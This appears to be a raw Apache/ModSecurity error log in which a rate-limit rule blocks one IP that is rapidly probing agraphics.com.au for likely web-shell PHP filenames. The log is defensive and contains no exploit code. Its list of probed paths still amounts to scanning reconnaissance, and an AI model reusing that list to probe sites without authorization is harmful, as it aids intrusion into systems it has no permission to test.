[Thu Feb 26 10:21:03.625050 2026] [:error] [pid 55051:tid 55062] [client 20.100.197.204:44570] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1vx.php"] [unique_id "aZ-uDwmK1w2kZvh5eLG88AAAAIg"]
[Thu Feb 26 10:21:05.803047 2026] [:error] [pid 55122:tid 55127] [client 20.100.197.204:50057] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1vx.php"] [unique_id "aZ-uEYLiR0OfjFxvcN-O3AAAAMM"]
[Thu Feb 26 10:21:11.079364 2026] [:error] [pid 25311:tid 25326] [client 20.100.197.204:49308] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1vx.php"] [unique_id "aZ-uF9fdM__yZAgJFSs3UAAAAYw"]
[Thu Feb 26 10:21:14.116238 2026] [:error] [pid 25311:tid 25337] [client 20.100.197.204:27875] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aZ-uGtfdM__yZAgJFSs3WgAAAZc"]
[Thu Feb 26 10:21:15.084791 2026] [:error] [pid 25311:tid 25328] [client 20.100.197.204:59363] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aZ-uG9fdM__yZAgJFSs3XAAAAY4"]
[Thu Feb 26 10:21:17.193655 2026] [:error] [pid 55618:tid 55623] [client 20.100.197.204:44578] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aZ-uHR61Vrh12f_8oWQtggAAAQI"]
[Thu Feb 26 10:21:18.975817 2026] [:error] [pid 55122:tid 55136] [client 20.100.197.204:7266] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aZ-uHoLiR0OfjFxvcN-O7AAAAMw"]
[Thu Feb 26 10:21:20.696404 2026] [:error] [pid 3883:tid 3894] [client 20.100.197.204:59358] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aZ-uIOA33x90V6yYHaj0vAAAAUg"]
[Thu Feb 26 10:21:22.948576 2026] [:error] [pid 25311:tid 25323] [client 20.100.197.204:53907] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aZ-uItfdM__yZAgJFSs3YAAAAYk"]
[Thu Feb 26 10:21:27.434687 2026] [:error] [pid 3883:tid 3897] [client 20.100.197.204:27885] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aZ-uJ-A33x90V6yYHaj0wgAAAUs"]
[Thu Feb 26 10:21:28.883151 2026] [:error] [pid 3883:tid 3910] [client 20.100.197.204:32949] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aZ-uKOA33x90V6yYHaj0xgAAAVg"]
[Thu Feb 26 10:21:30.741885 2026] [:error] [pid 3883:tid 3907] [client 20.100.197.204:59352] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/06.php"] [unique_id "aZ-uKuA33x90V6yYHaj0ygAAAVU"]
[Thu Feb 26 10:21:31.953844 2026] [:error] [pid 25311:tid 25315] [client 20.100.197.204:53918] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/06.php"] [unique_id "aZ-uK9fdM__yZAgJFSs3ZgAAAYE"]
[Thu Feb 26 10:21:33.429004 2026] [:error] [pid 3883:tid 3908] [client 20.100.197.204:53923] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/06.php"] [unique_id "aZ-uLeA33x90V6yYHaj00wAAAVY"]
[Thu Feb 26 10:21:34.398730 2026] [:error] [pid 3883:tid 3901] [client 20.100.197.204:43920] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/06.php"] [unique_id "aZ-uLuA33x90V6yYHaj01gAAAU8"]
[Thu Feb 26 10:21:35.208007 2026] [:error] [pid 25311:tid 25335] [client 20.100.197.204:32945] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aZ-uL9fdM__yZAgJFSs3agAAAZU"]
[Thu Feb 26 10:21:35.905008 2026] [:error] [pid 55618:tid 55644] [client 20.100.197.204:27855] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aZ-uLx61Vrh12f_8oWQtnQAAARc"]
[Thu Feb 26 10:21:37.497522 2026] [:error] [pid 3883:tid 3892] [client 20.100.197.204:7283] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aZ-uMeA33x90V6yYHaj05AAAAUY"]
[Thu Feb 26 10:21:38.132677 2026] [:error] [pid 3883:tid 3904] [client 20.100.197.204:58570] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aZ-uMuA33x90V6yYHaj05gAAAVI"]
[Thu Feb 26 10:21:39.025498 2026] [:error] [pid 3883:tid 3900] [client 20.100.197.204:44553] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fot.php"] [unique_id "aZ-uM-A33x90V6yYHaj06QAAAU4"]
[Thu Feb 26 10:21:39.810783 2026] [:error] [pid 3883:tid 3905] [client 20.100.197.204:58616] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fot.php"] [unique_id "aZ-uM-A33x90V6yYHaj07gAAAVM"]
[Thu Feb 26 10:21:40.691193 2026] [:error] [pid 3883:tid 3887] [client 20.100.197.204:59351] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fot.php"] [unique_id "aZ-uNOA33x90V6yYHaj08wAAAUE"]
[Thu Feb 26 10:21:41.899044 2026] [:error] [pid 3883:tid 3896] [client 20.100.197.204:59365] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fot.php"] [unique_id "aZ-uNeA33x90V6yYHaj0_QAAAUo"]
[Thu Feb 26 10:21:42.629110 2026] [:error] [pid 55618:tid 55628] [client 20.100.197.204:59390] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff1.php"] [unique_id "aZ-uNh61Vrh12f_8oWQtrAAAAQc"]
[Thu Feb 26 10:21:43.957197 2026] [:error] [pid 25311:tid 25332] [client 20.100.197.204:50098] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff1.php"] [unique_id "aZ-uN9fdM__yZAgJFSs3dwAAAZI"]
[Thu Feb 26 10:21:44.956451 2026] [:error] [pid 3883:tid 3886] [client 20.100.197.204:7285] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff1.php"] [unique_id "aZ-uOOA33x90V6yYHaj1BgAAAUA"]
[Thu Feb 26 10:21:45.920109 2026] [:error] [pid 3883:tid 3908] [client 20.100.197.204:59389] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff1.php"] [unique_id "aZ-uOeA33x90V6yYHaj1EAAAAVY"]
[Thu Feb 26 10:21:47.317780 2026] [:error] [pid 54991:tid 55039] [client 20.100.197.204:59383] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/forbidals.php"] [unique_id "aZ-uO94Zx-mJ8gbRB2hwMwAAAFM"]
[Thu Feb 26 10:21:48.135270 2026] [:error] [pid 25311:tid 25317] [client 20.100.197.204:27879] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/forbidals.php"] [unique_id "aZ-uPNfdM__yZAgJFSs3fQAAAYM"]
[Thu Feb 26 10:21:48.920060 2026] [:error] [pid 55618:tid 55630] [client 20.100.197.204:57067] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/forbidals.php"] [unique_id "aZ-uPB61Vrh12f_8oWQtswAAAQk"]
[Thu Feb 26 10:21:49.578433 2026] [:error] [pid 25311:tid 25331] [client 20.100.197.204:57083] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/forbidals.php"] [unique_id "aZ-uPdfdM__yZAgJFSs3hQAAAZE"]
[Thu Feb 26 10:21:50.499032 2026] [:error] [pid 25311:tid 25325] [client 20.100.197.204:32545] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/erty.php"] [unique_id "aZ-uPtfdM__yZAgJFSs3iQAAAYs"]
[Thu Feb 26 10:21:51.344564 2026] [:error] [pid 25311:tid 25335] [client 20.100.197.204:44555] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/erty.php"] [unique_id "aZ-uP9fdM__yZAgJFSs3jQAAAZU"]
[Thu Feb 26 10:21:52.469316 2026] [:error] [pid 25311:tid 25331] [client 20.100.197.204:58593] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/erty.php"] [unique_id "aZ-uQNfdM__yZAgJFSs3kgAAAZE"]
[Thu Feb 26 10:21:53.273387 2026] [:error] [pid 25311:tid 25318] [client 20.100.197.204:40693] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/erty.php"] [unique_id "aZ-uQdfdM__yZAgJFSs3lgAAAYQ"]
[Thu Feb 26 10:21:54.138151 2026] [:error] [pid 25311:tid 25316] [client 20.100.197.204:32537] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev1s.php"] [unique_id "aZ-uQtfdM__yZAgJFSs3mwAAAYI"]
[Thu Feb 26 10:21:54.954361 2026] [:error] [pid 25311:tid 25328] [client 20.100.197.204:44598] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev1s.php"] [unique_id "aZ-uQtfdM__yZAgJFSs3ngAAAY4"]
[Thu Feb 26 10:21:55.833201 2026] [:error] [pid 54991:tid 55042] [client 20.100.197.204:43958] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev1s.php"] [unique_id "aZ-uQ94Zx-mJ8gbRB2hwNgAAAFY"]
[Thu Feb 26 10:21:57.059645 2026] [:error] [pid 3883:tid 3892] [client 20.100.197.204:32512] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev1s.php"] [unique_id "aZ-uReA33x90V6yYHaj1LQAAAUY"]
[Thu Feb 26 10:21:57.852069 2026] [:error] [pid 3883:tid 3900] [client 20.100.197.204:57052] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ffd.php"] [unique_id "aZ-uReA33x90V6yYHaj1LwAAAU4"]
[Thu Feb 26 10:21:59.012963 2026] [:error] [pid 55122:tid 55134] [client 20.100.197.204:32545] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ffd.php"] [unique_id "aZ-uR4LiR0OfjFxvcN-PCwAAAMo"]
[Thu Feb 26 10:22:00.111363 2026] [:error] [pid 25311:tid 25314] [client 20.100.197.204:53925] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ffd.php"] [unique_id "aZ-uSNfdM__yZAgJFSs3rgAAAYA"]
[Thu Feb 26 10:22:01.016791 2026] [proxy_fcgi:error] [pid 25311:tid 25332] [client 20.100.197.204:44583] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:22:01.288061 2026] [proxy_fcgi:error] [pid 25311:tid 25325] [client 20.100.197.204:44583] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:22:01.564906 2026] [proxy_fcgi:error] [pid 25311:tid 25329] [client 20.100.197.204:44583] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:22:01.851076 2026] [proxy_fcgi:error] [pid 25311:tid 25333] [client 20.100.197.204:44583] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:22:02.126092 2026] [proxy_fcgi:error] [pid 25311:tid 25335] [client 20.100.197.204:44583] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:22:02.399985 2026] [proxy_fcgi:error] [pid 25311:tid 25319] [client 20.100.197.204:44583] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:22:02.664880 2026] [proxy_fcgi:error] [pid 25311:tid 25321] [client 20.100.197.204:44583] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:22:02.946299 2026] [proxy_fcgi:error] [pid 25311:tid 25322] [client 20.100.197.204:44583] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:22:03.226588 2026] [proxy_fcgi:error] [pid 25311:tid 25330] [client 20.100.197.204:44583] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:22:03.504678 2026] [proxy_fcgi:error] [pid 25311:tid 25332] [client 20.100.197.204:44583] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:22:03.766995 2026] [proxy_fcgi:error] [pid 25311:tid 25320] [client 20.100.197.204:44583] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:22:04.224185 2026] [:error] [pid 25311:tid 25329] [client 20.100.197.204:44583] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aZ-uTNfdM__yZAgJFSs3yQAAAY8"]
[Thu Feb 26 10:22:05.334211 2026] [:error] [pid 3883:tid 3890] [client 20.100.197.204:44590] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aZ-uTeA33x90V6yYHaj1RgAAAUQ"]
[Thu Feb 26 10:22:07.563997 2026] [:error] [pid 25311:tid 25330] [client 20.100.197.204:55975] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aZ-uT9fdM__yZAgJFSs30gAAAZA"]
[Thu Feb 26 10:22:09.095184 2026] [:error] [pid 25311:tid 25334] [client 20.100.197.204:55943] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aZ-uUdfdM__yZAgJFSs31QAAAZQ"]
[Thu Feb 26 10:22:09.918535 2026] [:error] [pid 55122:tid 55144] [client 20.100.197.204:32515] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zwso.php"] [unique_id "aZ-uUYLiR0OfjFxvcN-PDwAAANQ"]
[Thu Feb 26 10:22:11.821284 2026] [:error] [pid 25311:tid 25330] [client 20.100.197.204:59346] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zwso.php"] [unique_id "aZ-uU9fdM__yZAgJFSs34QAAAZA"]
[Thu Feb 26 10:22:13.290030 2026] [:error] [pid 25311:tid 25337] [client 20.100.197.204:55943] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zwso.php"] [unique_id "aZ-uVdfdM__yZAgJFSs36QAAAZc"]
[Thu Feb 26 10:22:14.082577 2026] [:error] [pid 3883:tid 3887] [client 20.100.197.204:40680] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zwso.php"] [unique_id "aZ-uVuA33x90V6yYHaj1aQAAAUE"]
[Thu Feb 26 10:22:15.476996 2026] [:error] [pid 25311:tid 25314] [client 20.100.197.204:53254] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/karak.php"] [unique_id "aZ-uV9fdM__yZAgJFSs39QAAAYA"]
[Thu Feb 26 10:22:16.653476 2026] [:error] [pid 3883:tid 3888] [client 20.100.197.204:50066] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/karak.php"] [unique_id "aZ-uWOA33x90V6yYHaj1dgAAAUI"]
[Thu Feb 26 10:22:18.614464 2026] [:error] [pid 25311:tid 25333] [client 20.100.197.204:55961] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/karak.php"] [unique_id "aZ-uWtfdM__yZAgJFSs3_wAAAZM"]
